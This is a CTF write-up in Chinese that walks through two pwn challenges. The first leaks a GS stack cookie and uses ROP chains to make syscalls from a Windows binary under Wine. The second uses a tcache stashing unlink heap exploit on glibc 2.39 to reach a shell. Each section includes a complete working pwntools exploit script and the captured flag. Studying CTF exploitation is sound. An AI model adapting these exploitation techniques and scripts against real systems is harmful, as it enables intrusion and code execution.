TheRomanXpl0it举办的的国际赛
pwn_ret2win
这题是一个 Windows PE 程序(x86-64),但远程跑在 Wine 里。它有两个洞:一个 puts 信息泄露、一个栈溢出
难点是开了 Windows 的 GS cookie(栈保护),必须先泄露并算出正确的 cookie 才能溢出返回地址;最后因为跑在 Wine 下,CPU 执行的还是 Linux 指令流,所以直接用 Linux syscall 打 ORW 读 flag

file显示是 PE32+ x86-64(64 位 Windows 可执行文件)。
checksec对 PE 识别不友好,会报 Magic number does not match
远程把它放进 Wine 里跑,也就是说虽然是 .exe,但 CPU 上跑的是宿主 Linux 的 x86-64 指令

先看 main
主流程很清晰,先 phrase 后 path:

main 开了 GS cookie 校验

申请 300 字节,读入并回显

这题开了 GS cookie,溢出函数不能直接覆盖返回地址,cookie 不对会直接 abort
这个 phrase 函数读入一段内容然后原样回显,而它的回显长度没有按我们实际输入长度干净截断
art_buf 是 main 栈上的 608 字节缓冲区,也就是 0x260
而 main 自己的 GS cookie 在[rsp+2A0h]
art_buf起点在[rsp+40h]
所以0x2a0 – 0x40 = 0x260
也就是说:art_buf[0x260] 后面紧跟 main saved cookie
再看 sub_140001000(art_buf, phrase_ptr, 608LL);,里面有这段:

传进去的 size 是 0x260,所以拷贝长度是:0x260 – 0x163 + 1 = 0xfe = 254
也就是把 phrase 拷到art_buf+0x162
最多拷:254 字节
如果我们输入正好:b”A” * 254
那么 phrase 字符串长度就是 0xfe。strncpy(dst, src, 0xfe) 这种语义下,当 src 长度刚好等于 n 时,不会额外补 \x00
当我们把输入塞满(254 字节)时,回显会把缓冲区后面相邻栈内存里 main 栈帧保存的 saved cookie 一起带出来,这正是我们需要的 leak
other_input 函数(0x140001110):栈溢出,但有 GS cookie 挡路

往 0x100 的 buf 里读,但读入长度是 0x12c(300)
缓冲区 v2只有 0x100字节,但读入用的还是那个 read_and_echo,长度是 0x12c = 300字节 ,能溢出 44 字节。从内存布局看:
rbp-0x108 v2[256] ← 我们输入落点(0x100 字节)
rbp-0x08 v3 ← saved GS cookie(紧跟在 buf 后面)
rbp+0x00 saved rbp
rbp+0x08 return address
所以填满 0x100 字节后,紧接着就是 **cookie → saved rbp → 返回地址
saved_cookie = __security_cookie ^ rsp;
问题来了:phrase 函数泄露的是 main 栈帧 里的 saved cookie,但我们要溢出的是 other_input 栈帧,两者的 rsp 不一样,所以存的 saved cookie 也不一样。推一下:
saved_main = security_cookie ^ rsp_main
saved_over = security_cookie ^ rsp_over
saved_main ^ saved_over = rsp_main ^ rsp_over (security_cookie 抵消)
⇒ saved_over = saved_main ^ (rsp_main ^ rsp_over)
而 rsp_main ^ rsp_over 在这个固定环境里是个常量,实测就是 0x7c0。所以:
saved_cookie_over = leaked_main_cookie ^ 0x7C0
程序在 Wine 里跑,CPU 执行的是宿主 Linux 的指令流。所以只要有一个 syscall; ret gadget,就能直接发 Linux 系统调用,完全不用碰 Windows 的 CreateFileA/ReadFile/WriteFile。直接读 flag(ORW)最省事:
rax=2 open / rax=0 read / rax=1 write
other_input 里 cookie 后面紧跟返回地址,能直接塞进去的 ROP 空间很窄,放不下完整 ORW 链。所以拆两段:
第一阶段(塞在溢出里):只做一个很短的 read,把更长的二阶段链读到一块可控内存,然后 pop rsp把栈迁过去
第二阶段(read 进去的):放完整 ORW 链
dll 是从 docker 镜像里 docker cp抠出来的(docker_extract/ntdll.dll、ucrtbase.dll),然后在 WSL/Linux 下对每个模块跑 ROPgadget。最终用到的 gadget 和远程固定基址:
# 来自 chall.exe(基址 0x140000000 固定)
ret = 0x140001069
pop rdi;ret = 0x140001621
# 来自 ucrtbase.dll(远程 base = 0x6ffffea30000)
pop rsi;ret = ucrtbase + 0x17240
pop rdx;ret = ucrtbase + 0x1df46
pop rax;ret = ucrtbase + 0x18f92
# 来自 ntdll.dll(远程 base = 0x6fffffc00000)
syscall;ret = ntdll + 0xe942
pop rsp;ret = ntdll + 0x1358a
这题开了 ASLR,但远程环境里 ucrtbase.dll、ntdll.dll 以及部分匿名映射的基址实际是稳定的,所以可以把这些地址当固定值写死。
可以先静态确认这些地址在文件里确实是对应指令:

用到三块固定地址:
STACK_BUF = 0x7ffffe1ffb80 # other_input 里 v2 缓冲区的运行时地址
STAGE2_ADDR = 0x7ffffe000200 # 第二阶段 ORW 链落点
READ_BUF = 0x7ffffe001000 # 读 flag 的缓冲区
其中 STACK_BUF是 v2缓冲区的真实地址 —— 我们第一阶段那 0x100字节就落在这里,所以溢出后只要把 rsp切到 STACK_BUF`,就能把这块 buffer 当 ROP 栈接着执行第一阶段链
第一阶段(塞在 v2那 0x100 字节里)
read(0, STAGE2_ADDR, 0x400) # 从 stdin 再读一段更长的二阶段链
pop rsp ; ret # 把栈迁到 STAGE2_ADDR + 0x20
对应代码 build_stage1():
chain = sys_call(0, 0, STAGE2_ADDR, 0x400) # rax=0 read(0, STAGE2_ADDR, 0x400)
chain += flat([POP_RSP, STAGE2_ADDR + 0x20]) # 迁栈
return chain.ljust(0x100, b"\x00") # 补满 0x100
栈顶迁到 STAGE2_ADDR + 0x20而不是 STAGE2_ADDR,是因为 STAGE2_ADDR开头要先放文件名字符串 /home/user/flag\x00(占 0x20),后面才是真正的 ROP 栈
第二阶段(被第一阶段 read到STAGE2_ADDR的内容)布局:
STAGE2_ADDR: "/home/user/flag\x00" (前 0x20 字节)
open("/home/user/flag", 0, 0) ; rax=2
read(11, READ_BUF, 0x100) ; rax=0 (远程 open 返回 fd=11)
write(1, READ_BUF, 0x100) ; rax=1
对应 build_stage2():
chain = b"/home/user/flag\x00".ljust(0x20, b"\x00")
chain += sys_call(2, STAGE2_ADDR, 0, 0) # open(path, 0, 0)
chain += sys_call(0, 11, READ_BUF, 0x100) # read(fd=11, READ_BUF, 0x100)
chain += sys_call(1, 1, READ_BUF, 0x100) # write(1, READ_BUF, 0x100)
open返回的 fd 远程实测是 11,所以 read直接写死 11
最终 payload 结构
第一轮输入(phrase,泄露 cookie):
b"A" * 254 # 回显把 main 的 saved cookie 带出来
第二轮输入(other_input,触发溢出):
[ 第一阶段链,0x100 字节 ] ← 填满 v2,同时这就是迁栈后要执行的链
[ 正确的 cookie (saved_over) ]
[ ret ] ← 覆盖 saved rbp,用一个干净 ret 占位
[ pop rsp ; ret ] ← 覆盖返回地址
[ STACK_BUF ] ← 被 pop 进 rsp,栈切到 v2 缓冲区
执行顺序串起来就是:
- cookie 校验通过;
- 函数返回,先经过一个 ret,再进 pop rsp ; ret;
- rsp 被切到 STACK_BUF(= v2 的地址);
- 从我们刚塞进 v2 的第一阶段链继续跑:read二阶段 + 迁栈到 STAGE2_ADDR;
- 程序打印 TODO: implement后,我们再把第二阶段 ORW 链发过去,open/read/write打印 flag。
EXP
from pwn import *
context(os="linux", arch="amd64", bits=64)
context.log_level = "info"
HOST = args.HOST or "ret2win.ctf.theromanxpl0.it"
PORT = int(args.PORT or 9092)
RET = 0x140001069
POP_RDI = 0x140001621
NTDLL_BASE = 0x6FFFFFC00000
UCRT_BASE = 0x6FFFFEA30000
if args.LOCAL:
NTDLL_BASE = 0x6FFFFFC50000
UCRT_BASE = 0x6FFFFEAE0000
POP_RSI = UCRT_BASE + 0x17240
POP_RDX = UCRT_BASE + 0x1DF46
POP_RAX = UCRT_BASE + 0x18F92
SYSCALL = NTDLL_BASE + 0xE942
POP_RSP = NTDLL_BASE + 0x1358A
if args.LOCAL:
POP_RSI = UCRT_BASE + 0x5D140
POP_RDX = UCRT_BASE + 0x1D352
POP_RAX = UCRT_BASE + 0x2F1A3
SYSCALL = 0x140001461
POP_RSP = NTDLL_BASE + 0x69CA8
STAGE2_ADDR = 0x7FFFFE000200
READ_BUF = 0x7FFFFE001000
STACK_BUF = 0x7FFFFE1FFB80
if args.LOCAL:
STAGE2_ADDR = 0x7FFFFE1FC000
READ_BUF = 0x7FFFFE1FD000
def start():
return remote(HOST, PORT)
def leak_saved_cookie(io):
phrase = b"A" * 254
io.recvuntil(b"Enter your phrase:")
io.sendline(phrase)
io.recvuntil(phrase)
leaked = u64(io.recv(6).ljust(8, b"\x00"))
return leaked, leaked ^ 0x7C0
def sys_call(rax, rdi, rsi, rdx):
return flat(
[
POP_RDI,
rdi,
POP_RSI,
rsi,
POP_RDX,
rdx,
POP_RAX,
rax,
SYSCALL,
]
)
def build_stage1():
chain = b""
chain += sys_call(0, 0, STAGE2_ADDR, 0x400)
chain += flat([POP_RSP, STAGE2_ADDR + 0x20])
return chain.ljust(0x100, b"\x00")
def build_stage2():
chain = b"/home/user/flag\x00".ljust(0x20, b"\x00")
chain += sys_call(2, STAGE2_ADDR, 0, 0)
chain += sys_call(0, 11, READ_BUF, 0x100)
chain += sys_call(1, 1, READ_BUF, 0x100)
return chain
io = start()
main_cookie, saved_cookie = leak_saved_cookie(io)
log.info(f"main saved cookie leak: {main_cookie:#x}")
log.info(f"other_input cookie: {saved_cookie:#x}")
payload1 = flat(
[
build_stage1(),
saved_cookie,
RET,
POP_RSP,
STACK_BUF,
]
)
payload2 = build_stage2()
assert b"\n" not in payload1
assert b"\n" not in payload2
io.sendlineafter(b"Enter the path to save the art:", payload1)
io.sendafter(b"TODO: implement", payload2)
print(io.recvall(timeout=3).rstrip(b"\x00").decode(errors="ignore"))
TRX{w1n3_15_d1ff3r3n7_fr0m_w1nd0w5_15n7_17}
pwn_hof(House of Fish)
题目名字叫 House of Fish,它的本质就是经典的 tcache stashing unlink(TSU)。题目把一个固定地址 0x1337000的内存页 mmap 出来当 admin,我们要做的就是想办法让某一次 malloc 把这个固定地址当成 chunk 返回回来,然后往里面写 magic 值,进 win() 拿 shell

也就是一个保护全开的 64 位堆题,运行在比较新的 glibc 2.39 上
glibc 2.32+ 的 safe-linking → tcache 的 fd指针是被加密的,盲打 tcache poisoning 不稳
后门,只认 magic

main

setup(0x132c):固定地址 mmap 出 admin

admin的地址不是随机的,而是被 MAP_FIXED钉死在 0x1337000。即使开了 PIE,这个地址依然固定可知,我们的最终目标就是往这个固定页写值
create(0x1583):申请并记账

两个全局数组 ptrs[0x100]、sizes[0x100] 分别存指针和大小,没有任何是否已释放的状态位
update(0x1606):按 sizes[idx] 写入 —— UAF 写

update直接拿 ptrs[idx]当目标写。它不检查这个 chunk 是不是已经被 free 过
delete(0x1685):free 但不清指针 —— UAF


win 不看别的,只看 *(0x1337000) == 0xdeadbeefdeadcafe。满足就 system("/bin/sh")。
copy(0x1712):附带的 memcpy

思路很简单,admin = 0x1337000(PIE 也固定),win的条件是*admin == 0xdeadbeefdeadcafe,然后选 5
让某次 malloc返回 0x1337000,再 update写 magic就行
最直觉的打法是:UAF 改 freed tcache chunk 的 fd = 0x1337000,下一次 malloc就返回它,但有safe-linking
而这题没有任何 leak,拿不到堆地址
考虑 TSU
当一次 malloc(n):
- tcache 里对应 size 的 bin 是空的;
- 但 smallbin 里有同 size 的 chunk;
glibc 就会走 smallbin 分配路径:先从 smallbin 取一个返回用户,然后顺手把 smallbin 里剩下的 chunk 搬进 tcache(这就是 stashing),直到 tcache 装满(默认 7 个)或 smallbin 取空。这段代码(简化)长这样:
// 从 smallbin 尾部往前,把 chunk 搬进 tcache
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last(bin)) != bin)
{
bck = tc_victim->bk; // ← 取被搬 chunk 的 bk
bin->bk = bck; // 把 bin 的尾巴接到 bck
bck->fd = bin; // 关键写:往 bck->fd 写一个 arena 指针
tcache_put(tc_victim, tc_idx);// 把 tc_victim 放进 tcache
}
注意这里被搬的 chunk(tc_victim)的 bk是我们能用 UAF 控制的。一旦我们伪造 tc_victim->bk = fake,stashing 会产生两个效果:
效果 A任意写:bck->fd = bin ⇒ 往 fake + 0x10写入一个 glibc arena 指针(main_arena 里 smallbin 的地址),这个值我们不能控制内容,但能控制写到哪
效果 B(把伪造 chunk 塞进 tcache):下一轮循环里,fake 自己会成为新的 tc_victim 被 tcache_put 进 tcache。这样后续 malloc就能把 fake + 0x10当用户区返回出来。
一个小约束:smallbin 取出的第一个 victim 会被检查 bck->fd == victim(双向链表完整性),所以我们不能破坏第一个,只能去破坏那些”被 stash”的后续 chunk
把效果 A 和效果 B 接起来,就能在无 leak 的情况下让 malloc返回我们指定的 fake + 0x10
我们想让 malloc返回 admin = 0x1337000。按 TSU,需要一个 fake chunk 头在:
fake = admin - 0x10 // chunk 头
fake+0x10 = admin // ← malloc 返回的用户区,正是我们要的
fake+0x18 = admin + 0x8 // ← 这个 fake chunk 被 stash 时,它的 bk 字段
问题来了:fake chunk 被 stashing 处理时,glibc 会读它的 bk(即 fake+0x18 = admin+8),并执行 bck->fd = bin。如果 admin+8 此刻是个非法指针(0),写 bck->fd 时就会段错误崩掉
所以必须先让 admin+8 变成一个合法可写指针,fake chunk 才能安全地被 stash 进 tcache。于是整条链拆成两步:
- 第一阶段:用一组 0x90chunk 做一次 TSU,利用效果 A 把一个 arena 指针写到 admin+8
- 第二阶段:换一组
0xa0chunk(不同 size class,避免和第一阶段的 bin 互相污染)再做一次 TSU,把 fake = admin-0x10`塞进 tcache,让下一次 malloc 返回 admin
两阶段如果用同一个 size class,第一阶段残留在 smallbin/tcache 里的 chunk 会干扰第二阶段的链表布局。换成不同档位(0x90 vs 0xa0),两条 bin 互不相干
第一阶段全部用 请求 0x80 → 实际 0x90 的 chunk:
# 1) 先占 17 个 0x90 chunk
for i in range(1, 18):
payload = create(payload, i, 0x80)
# 2) 先 free 7 个(偶数下标 2,4,...,14)→ 正好填满 tcache(默认 7 个)
for i in range(2, 15, 2):
payload = delete(payload, i)
# 3) 再 free 9 个(奇数下标 1,3,...,17)→ tcache 已满,这些进 unsorted bin
for i in range(1, 18, 2):
payload = delete(payload, i)
# 4) 申请一个"不同档位"的 size,强制 malloc 整理 unsorted,
# 把上面那批 0x90 chunk 全部归入 smallbin
payload = create(payload, 100, 0x98)
# 5) 连续申请 7 次 0x90 → 把 tcache 这一档全部取空(让下次 malloc 走 smallbin 路径)
for i in range(200, 207):
payload = create(payload, i, 0x80)
# 6) UAF 改 smallbin 里 idx=15 这个 chunk 的 bk = admin - 0x8
payload = update(payload, 15, b"A" * 8 + p64(ADMIN - 0x8), 0x80)
# 7) 再申请一次 0x90 → tcache 已空,触发 smallbin 分配 + stashing
payload = create(payload, 250, 0x80)
第 1~3 步:17 个 chunk,7 个进 tcache(填满),9 个进 unsorted bin。
第 4 步 create(100, 0x98):这次申请的不是 0x90 档,malloc 找不到精确匹配,就会遍历 unsorted bin 把那 9 个 0x90 chunk 整理进 smallbin[0x90]。现在 smallbin 里有一条 9 个 chunk 的双向链。
第 5 步:连续 7 次 malloc(0x80) 把 tcache[0x90] 这一档取空,这一步是为了让第 7 步的 malloc`必须走 smallbin 路径(tcache 空了才会去 smallbin 取并触发 stashing)
第 6 步:用 UAF 把 smallbin 里 idx=15 这个 chunk 的 bk 改成 admin – 0x8。update的数据是 8 字节占位(fd) + p64(admin-0x8)(bk)
第 7 步 create(250, 0x80):tcache 空 → 走 smallbin → 取一个返回 idx=250,剩下的 stash 进 tcache。stash 处理到我们改过的 idx=15 时:
bck = idx15->bk = admin - 0x8
bck->fd = bin → *(admin - 0x8 + 0x10) = *(admin + 0x8) = <arena 指针>
admin + 8 被写入了一个合法的 glibc arena 指针,第一阶段完成
第二阶段换成 请求 0x90 → 实际 0xa0 的 chunk,套路和第一阶段几乎一样:
# 1) 占 14 个 0xa0 chunk
for i in range(31, 45):
payload = create(payload, i, 0x90)
# 2) free 7 个偶数(32,34,...,44)→ 填满 tcache[0xa0]
for i in range(32, 45, 2):
payload = delete(payload, i)
# 3) free 7 个奇数(31,33,...,43)→ 进 unsorted bin
for i in range(31, 44, 2):
payload = delete(payload, i)
# 4) 申请不同档位 size,把 unsorted 整理进 smallbin[0xa0]
payload = create(payload, 120, 0xA8)
# 5) 取空 tcache[0xa0]
for i in range(220, 227):
payload = create(payload, i, 0x90)
# 6) ★ UAF 改 idx=43 的 bk = admin - 0x10(这次直接指 fake chunk 头)
payload = update(payload, 43, b"B" * 8 + p64(ADMIN - 0x10), 0x90)
# 7) 触发 smallbin 分配 + stashing
payload = create(payload, 230, 0x90)
# 8) 再申请一次 → 这次 malloc 返回 admin!
payload = create(payload, 231, 0x90)
这次把 bk 改成 admin – 0x10,stashing 处理 idx=43`时:
bck = idx43->bk = admin - 0x10
bck->fd = bin → *(admin - 0x10 + 0x10) = *admin = <arena 指针> (效果 A)
bin->bk = bck → bin 的尾巴现在指向 fake chunk(admin-0x10)
接着 while 循环继续,把 fake = admin-0x10 当成新的 tc_victim:这时它读 fake->bk = *(admin+0x8),正好是第一阶段写好的合法 arena 指针,于是检查通过,tcache_put(admin-0x10) 把 fake chunk 放进了 tcache(效果 B)。
于是 idx=231 这次 malloc(0x90) 从 tcache 取出 fake chunk,返回用户区:
(admin - 0x10) + 0x10 = admin = 0x1337000
ptrs[231] 现在就等于 0x1337000。 对它 update,就是直接往 admin 写。
写 magic,进 win
# ptrs[231] == admin,所以这步等价于 *admin = 0xdeadbeefdeadcafe;
payload = update(payload, 231, p64(MAGIC), 0x90)
payload += b"5\n" # 选择菜单 5 → win()
win() 检查 *admin == 0xdeadbeefdeadcafe 通过,打印 good boy,system("/bin/sh")
断在 win(),直接看 admin 这一页:

可以看到 magic 已经稳稳落在固定地址上:
0x1337000: 0xdeadbeefdeadcafe
cmp rdx, rax两边都是 0xdeadbeefdeadcafe,下一条就是 puts(“good boy”)和 system(“/bin/sh”)`:

EXP
from pwn import *
context.binary = elf = ELF("./chall", checksec=False)
context.log_level = "info"
HOST = args.HOST or "hof.ctf.theromanxpl0.it"
PORT = int(args.PORT or 9098)
ADMIN = 0x1337000
MAGIC = 0xDEADBEEFDEADCAFE
CMD = args.CMD or "cat /flag* /home/user/flag* 2>/dev/null; exit"
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process("./chall")
def line(x):
return str(x).encode() + b"\n"
def create(buf, idx, size):
buf += b"1\n"
buf += line(idx)
buf += line(size)
return buf
def delete(buf, idx):
buf += b"3\n"
buf += line(idx)
return buf
def update(buf, idx, data, size):
buf += b"2\n"
buf += line(idx)
buf += data.ljust(size, b"\x00")
return buf
def build_payload():
payload = b""
for i in range(1, 18):
payload = create(payload, i, 0x80)
for i in range(2, 15, 2):
payload = delete(payload, i)
for i in range(1, 18, 2):
payload = delete(payload, i)
payload = create(payload, 100, 0x98)
for i in range(200, 207):
payload = create(payload, i, 0x80)
payload = update(payload, 15, b"A" * 8 + p64(ADMIN - 0x8), 0x80)
payload = create(payload, 250, 0x80)
for i in range(31, 45):
payload = create(payload, i, 0x90)
for i in range(32, 45, 2):
payload = delete(payload, i)
for i in range(31, 44, 2):
payload = delete(payload, i)
payload = create(payload, 120, 0xA8)
for i in range(220, 227):
payload = create(payload, i, 0x90)
payload = update(payload, 43, b"B" * 8 + p64(ADMIN - 0x10), 0x90)
payload = create(payload, 230, 0x90)
payload = create(payload, 231, 0x90)
payload = update(payload, 231, p64(MAGIC), 0x90)
payload += b"5\n"
payload += CMD.encode() + b"\n"
return payload
io = start()
io.recvuntil(b"enter your choice: ")
io.send(build_payload())
if args.CMD:
print(io.recvall(timeout=5).decode(errors="ignore"))
else:
io.interactive()
TRX{1_h0p3_y0u_d1dn7_637_f15h3d_by_7h3_w473r}









